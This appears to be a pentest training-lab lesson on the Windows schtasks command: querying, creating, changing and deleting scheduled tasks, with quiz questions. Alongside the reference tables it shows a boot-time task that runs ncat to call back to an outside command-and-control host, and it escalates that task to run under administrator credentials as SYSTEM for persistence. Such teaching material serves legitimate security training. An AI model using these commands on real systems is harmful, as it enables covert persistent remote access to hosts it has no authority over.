

Working With Scheduled Tasks

Scheduled tasks are an excellent way for administrators to ensure that tasks they want to run regularly happen, but they are also an excellent persistence point for attackers. In this section, we will discuss using `schtasks` to:

- Learn how to check what tasks exist.
 - Create a new task to help us automate actions or acquire a shell on the host.
-

What Are Scheduled Tasks?

The Task Scheduler allows us as admins to perform routine tasks without having to kick them off manually. The scheduler will monitor the host for a specific set of conditions called triggers and execute the task once the conditions are met.

Story Time: On several engagements, while pentesting an enterprise environment, I have been in a position where I landed on a host and needed a quick way to set persistence. Instead of doing anything crazy or pulling down another executable onto the host, I decided to search for or create a scheduled task that runs when a user logs in or the host reboots. In this scheduled task, I would set a trigger to open a new socket utilizing PowerShell, reaching out to my Command and Control infrastructure. This would ensure that I could get back in if I lost access to this host. If I were lucky, when the task I chose ran, I might also receive a SYSTEM-level shell back, elevating my privileges at the same time. It quickly ensured host access without setting off alarms with antivirus or data loss prevention systems.

Triggers That Can Kick Off a Scheduled Task

- When a specific system event occurs.
- At a specific time.
- At a specific time on a daily schedule.
- At a specific time on a weekly schedule.
- At a specific time on a monthly schedule.
- At a specific time on a monthly day-of-week schedule.
- When the computer enters an idle state.
- When the task is registered.
- When the system is booted.
- When a user logs on.
- When a Terminal Server session changes state.

This list of triggers is extensive and gives us many options for having a task take action. Now that we know what scheduled tasks are and what can make them actionable, it is time to look at using them.

How To Utilize Schtasks

In the sections provided below, we will go over exactly how we can utilize the `schtasks` command to its fullest extent. Additionally, as we go over them in greater detail, a formatted table providing the syntax for each action will be provided.

Note that the sections provided here are not an end-all-be-all. Several of the repetitive parameters have been omitted. Be sure to check the help menu `/?` to see a complete list of what can be used.

Display Scheduled Tasks

Display Scheduled Tasks:

Query Syntax

Action	Parameter	Description
Query		Performs a local or remote host search to determine what scheduled tasks exist. Due to permissions, not all tasks may be seen by a normal user.
	/fo	Sets formatting options. We can specify to show results in the Table, List, or CSV output.
	/v	Sets verbosity to on, displaying the advanced properties set in displayed tasks when used with the List or CSV output parameter.
	/nh	Simplifies the output using the Table or CSV output format. This switch removes the column headers .
	/s	Sets the DNS name or IP address of the host we want to connect to. Localhost is the default specified. If /s is utilized, we are connecting to a remote host and must format it as "\\host".
	/u	This switch will tell schtasks to run the following command with the permission set of the user specified.
	/p	Sets the password in use for command execution when we specify a user to run the task. Users must be members of the Administrator's group on the host (or in the domain). The u and p values are only valid when used with the s parameter.

We can view the tasks that already exist on our host by utilizing the **schtasks** command like so:

```
Working With Scheduled Tasks

C:\htb> SHTASKS /Query /V /FO list

Folder: \
HostName: DESKTOP-Victim
TaskName: \Check Network Access
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive only
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: DESKTOP-Victim\htb-admin
Task To Run: C:\Windows\System32\cmd.exe ping 8.8.8.8
Start In: N/A
Comment: quick ping check to determine connectivity. If it passes, other tasks wi
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: tru7h
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At system start up
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A

<SNIP>
```

Chaining our parameters with **Query** allows us to format our output from the standard bulk into a list with advanced settings. The above output shows how the tasks would look in a list format.

Create a New Scheduled Task:

Create Syntax

Action	Parameter	Description
Create		Schedules a task to run.
	/sc	Sets the schedule type. It can be by the minute, hourly, weekly, and much more. Be sure to check the options parameters.
	/tn	Sets the name for the task we are building. Each task must have a unique name.
	/tr	Sets the trigger and task that should be run. This can be an executable, script, or batch file.
	/s	Specify the host to run on, much like in Query.
	/u	Specifies the local user or domain user to utilize
	/p	Sets the Password of the user-specified.
	/mo	Allows us to set a modifier to run within our set schedule. For example, every 5 hours every other day.
	/rl	Allows us to limit the privileges of the task. Options here are limited access and Highest . Limited is the default value.
	/z	Will set the task to be deleted after completion of its actions.

Creating a new scheduled task is pretty straightforward. At a minimum, we must specify the following:

- **/create** : to tell it what we are doing
- **/sc** : we must set a schedule
- **/tn** : we must set the name
- **/tr** : we must give it an action to take

Everything else is optional. Let us see an example below of how we could create a task to help us get a shell.

New Task Creation

Working With Scheduled Tasks

```
C:\htb> schtasks /create /sc ONSTART /tn "My Secret Task" /tr "C:\Users\Victim\AppData\Local\ncat.exe 172.16.1
SUCCESS: The scheduled task "My Secret Task" has successfully been created.
```

A great example of a use for **schtasks** would be providing us with a callback every time the host boots up. This would ensure that if our shell dies, we will get a callback from the host the next time a reboot occurs, making it likely that we will only lose access to the host for a short time if something happens or the host is shut down. We can create or modify a new task by adding a new trigger and action. In our task above, we have **schtasks** execute **Ncat** locally, which we placed in the user's **AppData** directory, and connect to the host `172.16.1.100` on port `8100`. If successfully executed, this connection request should connect to our command and control framework (**Metasploit**, **Empire**, etc.) and give us shell access.

Now let us look at what modifying a task would look like.

Change the Properties of a Scheduled Task

Change Syntax

Action	Parameter	Description
--------	-----------	-------------

-----	-----	-----
Change		Allows for modifying existing scheduled tasks.
	/tn	Designates the task to change
	/tr	Modifies the program or action that the task runs.
	/ENABLE	Change the state of the task to Enabled.
	/DISABLE	Change the state of the task to Disabled.

Ok, now let us say we found the **hash** of the local admin password and want to use it to spawn our Ncat shell for us; if anything happens, we can modify the task like so to add in the credentials for it to use.

Working With Scheduled Tasks	
C:\htb> schtasks /change /tn "My Secret Task" /ru administrator /rp "P@ssw0rd"	
SUCCESS: The parameters of scheduled task "My Secret Task" have been changed.	

Now to make sure our changes took, we can query for the specific task using the **/tn** parameter and see:

Working With Scheduled Tasks	
C:\htb> schtasks /query /tn "My Secret Task" /V /fo list	
Folder: \	
HostName:	DESKTOP-Victim
TaskName:	\My Secret Task
Next Run Time:	N/A
Status:	Ready
Logon Mode:	Interactive/Background
Last Run Time:	11/30/1999 12:00:00 AM
Last Result:	267011
Author:	DESKTOP-victim\htb-admin
Task To Run:	C:\Users\Victim\AppData\Local\ncat.exe 172.16.1.100 8100
Start In:	N/A
Comment:	N/A
Scheduled Task State:	Enabled
Idle Time:	Disabled
Power Management:	Stop On Battery Mode, No Start On Batteries
Run As User:	SYSTEM
Delete Task If Not Rescheduled:	Disabled
Stop Task If Runs X Hours and X Mins:	72:00:00
Schedule:	Scheduling data is not available in this format.
Schedule Type:	At system start up
<SNIP>	

It looks like our changes were saved successfully. Managing tasks and making changes is pretty simple. We need to ensure our syntax is correct, or it may not fire. If we want to ensure it works, we can use the **/run** parameter to kick the task off immediately. We have **queried, created, and changed** tasks up to this point. Let us look at how to delete them now.

Delete the Scheduled Task(s)

Delete Syntax

Action	Parameter	Description
--------	-----------	-------------

Delete	Remove a task from the schedule
/tn	Identifies the task to delete.
/s	Specifies the name or IP address to delete the task from.
/u	Specifies the user to run the task as.
/p	Specifies the password to run the task as.
/f	Stops the confirmation warning.

Working With Scheduled Tasks

```
C:\htb> schtasks /delete /tn "My Secret Task"

WARNING: Are you sure you want to remove the task "My Secret Task" (Y/N)?
```

Running `schtasks /delete` is simple enough. The thing to note is that if we do not supply the `/F` option, we will be prompted, like in the example above, for you to supply input. Using `/F` will delete the task and suppress the message.

Schtasks can be a great way to leverage the host to run actions for us as admins and pentesters. Take some time to practice creating, modifying, and deleting tasks. By now, we should be comfortable with `cmd.exe` and its workings. Let's level up and start working in `PowerShell`!

VPN Servers

⚠ Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.

Existing PwnBox instances will automatically switch to the new VPN server.

us-academy-1

▼

PROTOCOL

● UDP 1337

● TCP 443

DOWNLOAD VPN CONNECTION FILE

Connect to Pwnbox

Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

AU

49ms ▼

Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Target: [Click here to spawn the target system!](#)



Cheat Sheet



Download VPN
Connection File

+ 0

True or False: A scheduled task can be set to run when a user logs onto a host?

Submit your answer here...



Submit



Hint

+ 0

Access the target host and take some time to practice working with Scheduled Tasks. Type COMPLETE as the answer when you are ready to move on.

Submit your answer here...



Submit



Hint

← Previous

Next →



Cheat Sheet



Resources

? Go to Questions

Table of Contents

Introduction



CMD

Command Prompt Basics



Getting Help



 System Navigation Working with Directories and Files Gathering System Information Finding Files and Directories Environment Variables Managing Services Working With Scheduled Tasks

PowerShell

 CMD Vs. PowerShell All About Cmdlets and Modules User and Group Management Working with Files and Directories Finding & Filtering Content Working with Services Working with the Registry Working with the Windows Event Log Networking Management from The CLI Interacting with The Web PowerShell Scripting and Automation

Finish Strong

 Skills Assessment

Beyond This Module

My Workstation

OFFLINE

▶ Start Instance

∞ / 1 spawns left